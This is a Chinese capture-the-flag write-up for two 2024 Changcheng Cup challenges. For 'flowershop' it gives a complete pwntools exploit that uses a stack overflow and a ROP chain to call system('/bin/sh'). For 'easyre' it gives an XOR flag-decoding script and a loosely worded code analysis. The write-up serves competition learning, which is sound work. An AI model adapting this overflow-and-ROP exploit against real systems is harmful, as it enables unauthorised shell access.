2024i春秋第四届长城杯网络安全大赛暨京津冀网络安全技能竞赛初赛wp-flowershop+easyre

简介: 2024i春秋第四届长城杯网络安全大赛暨京津冀网络安全技能竞赛初赛wp-flowershop+easyre

flowershop

如图所示,v8是钱的数量,strncpy从src复制三个字符给dest的数组里,最后一个元素是0,相当于字符串截断,strcmp是比较c和dest中的内容,如果相等就不会exit(0);双击c进去看,c是字符串“pwn”,所以我们在read溢出的时候,把src覆盖成”pwn/x00”就可以绕过检测,后面的v8就可以随便覆盖八字节,充值任意的钱数。


接下里我们再进行购物,可见shop传入的v5有三个元素,我们再进shop函数看看:

通过分析就可以看到,这三个元素对应了每个商品购买的数量,每次买一个商品,对应的元素就会加1,每件商品最多买8个

此时末位有个read,很可能就是我们要溢出的漏洞,但是参数v4可控未知,所以往前可看check函数做了什么,显然通过分析这就是满足买了两件a商品和1件b商品的时候就可以给a2指针赋值为70,指向的就是v4,这样shop函数的buf只有10字节,但是read可以输入70字节,就达到了溢出攻击条件

所以最后我们通过购买c商品,达到给magic赋值”/bin/sh”的目的,所有条件已达成,

值得注意的是最后赋值钱的时候八字节的最高位不能是1,因为这是符号位,如果是1就是负数了,最后read也不一定要追加到70个字节,能溢出执行system即可了。

from pwn import *
#p=remote("8.147.134.241",24158)
p=process("./pwn")
system=0x400D7A
magic=0x601840
pop_rdi=0x400f13
ret=0x4006f6
payload=b'a'*52+b'pwn\x00'+b'\xff\xff\xff\x7f\xff'
p.send(payload)
p.recvuntil("你的选项:")
p.sendline("a")
p.recvuntil("商品序号:\n")
p.sendline("a")
p.sendline("1")

p.recvuntil("商品序号:\n")
p.sendline("a")
p.sendline("1")

p.recvuntil("商品序号:\n")
p.sendline("b")
p.sendline("1")

p.recvuntil("商品序号:\n")
p.sendline("c")

payload=(b'a'*24+p64(pop_rdi)+p64(magic)+p64(system))
p.recvuntil('1/0')
p.sendline(payload)

p.interactive()

ps:我用的是IDA8.3free版本

easyre

flag=[0x0A, 0x0D, 0x06, 0x1C, 0x1D, 0x05, 0x05, 0x5F, 0x0D, 0x03, 
  0x04, 0x0A, 0x14, 0x49, 0x05, 0x57, 0x00, 0x1B, 0x19, 0x02, 
  0x01, 0x54, 0x4E, 0x4C, 0x56, 0x00, 0x51, 0x4B, 0x4F, 0x57, 
  0x05, 0x54, 0x55, 0x03, 0x53, 0x57, 0x01, 0x03, 0x07, 0x04, 
  0x4A, 0x77]
     
for i in range(len(flag)-1,-1,-1):
    flag [i]^= flag [(i+1)%len(flag)]
    
print(bytes(flag))

分析算法异或运算,提取数据

这段代码使用了C语言和汇编语言的混合语法,通常用于底层编程,比如逆向工程或者对性能要求很高的应用。这段代码可能来自一个编译后的二进制文件,并且很可能是针对x86-64架构的,因为它使用了诸如_mm_movemask_epi8等内联汇编的SSE指令。

代码分析:

  1. 函数签名:
    o __fastcall:这是一个调用约定,它将前两个参数放在寄存器中(RCX, RDX),而不是在堆栈上。
    o main:这是程序的入口点,不过这里被修改为__fastcall调用方式。

o argc、argv、envp:这是标准的main函数参数,分别表示参数数量、参数值以及环境指针

  1. 变量:
    o v3:一个指向__m128i类型的指针,这是一种128位的SIMD寄存器数据类型,通常用于SSE(流式SIMD扩展)。
    o v4、i、v6:64位整数变量,用于循环和其他操作。
  2. 逻辑流程:

o 如果命令行参数的数量小于等于1,程序将退出(argc <= 1)。

o v3被初始化为指向第一个命令行参数(argv[1]),接下来程序准备进行一些SIMD操作。

o 一个循环运行43次,每次通过异或(XOR)操作对__m128i寄存器v3中的每个字节进行处理,这看起来像是一种混淆或加密操作。

o 循环结束后,程序使用SIMD指令(_mm_cmpeq_epi8和_mm_and_si128)进行比较,将v3的内容与特定内存位置(xmmword_140021410和xmmword_140021400)的值进行比对。

o 如果比较成功,程序调用函数sub_1400011A0并将结果传递给另一个函数sub_1400015A0。

观察:

• 这段代码似乎是在检查输入(可能是命令行参数)是否与某个特定值相匹配,可能是用于验证密码或者在某种挑战中验证flag。

• SIMD指令的使用表明,该比较操作经过优化,能够一次性比较多个字节,提升性能。

• 虽然函数sub_1400011A0和sub_1400015A0的定义没有给出,但它们可能与验证过程有关,可能在输入匹配时显示某些信息。

相关文章
|
2月前
|
机器学习/深度学习 数据采集 人工智能
GeneralDyG:南洋理工推出通用动态图异常检测方法,支持社交网络、电商和网络安全
GeneralDyG 是南洋理工大学推出的通用动态图异常检测方法,通过时间 ego-graph 采样、图神经网络和时间感知 Transformer 模块,有效应对数据多样性、动态特征捕捉和计算成本高等挑战。
79 18
GeneralDyG:南洋理工推出通用动态图异常检测方法,支持社交网络、电商和网络安全
|
3月前
|
存储 SQL 安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
随着互联网的普及,网络安全问题日益突出。本文将介绍网络安全的重要性,分析常见的网络安全漏洞及其危害,探讨加密技术在保障网络安全中的作用,并强调提高安全意识的必要性。通过本文的学习,读者将了解网络安全的基本概念和应对策略,提升个人和组织的网络安全防护能力。
|
3月前
|
SQL 安全 网络安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
随着互联网的普及,网络安全问题日益突出。本文将从网络安全漏洞、加密技术和安全意识三个方面进行探讨,旨在提高读者对网络安全的认识和防范能力。通过分析常见的网络安全漏洞,介绍加密技术的基本原理和应用,以及强调安全意识的重要性,帮助读者更好地保护自己的网络信息安全。
67 10
|
3月前
|
安全 网络安全 数据安全/隐私保护
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
在数字化时代,网络安全和信息安全已成为我们日常生活中不可或缺的一部分。本文将深入探讨网络安全漏洞、加密技术和安全意识等方面的问题,并提供一些实用的建议和解决方案。我们将通过分析网络攻击的常见形式,揭示网络安全的脆弱性,并介绍如何利用加密技术来保护数据。此外,我们还将强调提高个人和企业的安全意识的重要性,以应对日益复杂的网络威胁。无论你是普通用户还是IT专业人士,这篇文章都将为你提供有价值的见解和指导。
|
3月前
|
存储 安全 网络安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
在数字化时代,网络安全和信息安全已经成为了我们生活中不可或缺的一部分。本文将介绍网络安全的基本概念,包括网络安全漏洞、加密技术以及如何提高个人和组织的安全意识。我们将通过一些实际案例来说明这些概念的重要性,并提供一些实用的建议来保护你的信息和数据。无论你是网络管理员还是普通用户,都可以从中获得有用的信息和技能。
40 0
|
3月前
|
SQL 安全 网络安全
网络安全与信息安全:知识分享####
【10月更文挑战第21天】 随着数字化时代的快速发展,网络安全和信息安全已成为个人和企业不可忽视的关键问题。本文将探讨网络安全漏洞、加密技术以及安全意识的重要性,并提供一些实用的建议,帮助读者提高自身的网络安全防护能力。 ####
96 17
|
3月前
|
SQL 安全 网络安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
在数字化时代,网络安全和信息安全已成为我们生活中不可或缺的一部分。本文将介绍网络安全漏洞、加密技术和安全意识等方面的内容,并提供一些实用的代码示例。通过阅读本文,您将了解到如何保护自己的网络安全,以及如何提高自己的信息安全意识。
83 10
|
3月前
|
存储 监控 安全
云计算与网络安全:云服务、网络安全、信息安全等技术领域的融合与挑战
本文将探讨云计算与网络安全之间的关系,以及它们在云服务、网络安全和信息安全等技术领域中的融合与挑战。我们将分析云计算的优势和风险,以及如何通过网络安全措施来保护数据和应用程序。我们还将讨论如何确保云服务的可用性和可靠性,以及如何处理网络攻击和数据泄露等问题。最后,我们将提供一些关于如何在云计算环境中实现网络安全的建议和最佳实践。
|
3月前
|
监控 安全 网络安全
网络安全与信息安全:漏洞、加密与意识的交织
在数字时代的浪潮中,网络安全与信息安全成为维护数据完整性、保密性和可用性的关键。本文深入探讨了网络安全中的漏洞概念、加密技术的应用以及提升安全意识的重要性。通过实际案例分析,揭示了网络攻击的常见模式和防御策略,强调了教育和技术并重的安全理念。旨在为读者提供一套全面的网络安全知识框架,从而在日益复杂的网络环境中保护个人和组织的资产安全。
|
3月前
|
安全 算法 网络协议
网络安全与信息安全知识分享
本文深入探讨了网络安全漏洞、加密技术以及安全意识三个方面,旨在帮助读者更好地理解和应对网络安全威胁。通过分析常见的网络安全漏洞类型及其防范措施,详细介绍对称加密和非对称加密的原理和应用,并强调提高个人和企业安全意识的重要性,为构建更安全的网络环境提供指导。
84 2